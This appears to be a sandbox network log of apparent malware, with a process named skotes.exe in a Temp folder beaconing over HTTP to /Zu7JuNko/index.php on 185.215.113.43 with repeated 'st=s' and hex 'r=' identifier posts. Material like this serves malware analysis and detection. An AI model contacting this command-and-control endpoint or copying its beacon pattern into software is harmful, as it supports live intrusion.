Nov 24, 2024 14:26:38.531503916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:39.907471895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50213	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:41.547844887 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:42.930010080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50214	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:44.667454958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:46.125221014 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50215	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:47.766674995 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:49.115745068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50217	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:50.882381916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:26:52.270581007 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	50219	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:53.902055025 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:55.293899059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50221	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:26:58.574740887 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:26:59.956402063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:26:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50222	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:01.690581083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50223	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:03.701499939 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:05.039566994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50224	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:06.780114889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:08.202626944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50225	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:09.837656975 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:11.265829086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50226	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:13.014342070 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:14.355999947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50227	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:15.988380909 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:17.335680008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50229	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:19.083484888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:20.506755114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50230	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:22.144337893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:23.531630039 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50231	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:25.278445959 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:26.608238935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50232	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:28.232628107 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:29.614510059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50233	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:31.349718094 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:32.783621073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50234	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:34.428527117 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:35.810396910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50235	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:37.544969082 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:38.964682102 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50236	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:40.600354910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:42.042629957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50237	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:43.775827885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:45.152631998 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50238	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:46.794612885 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 14:27:48.143574953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50239	185.215.113.43	80	1364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 14:27:49.886940002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 14:27:51.263501883 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 13:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

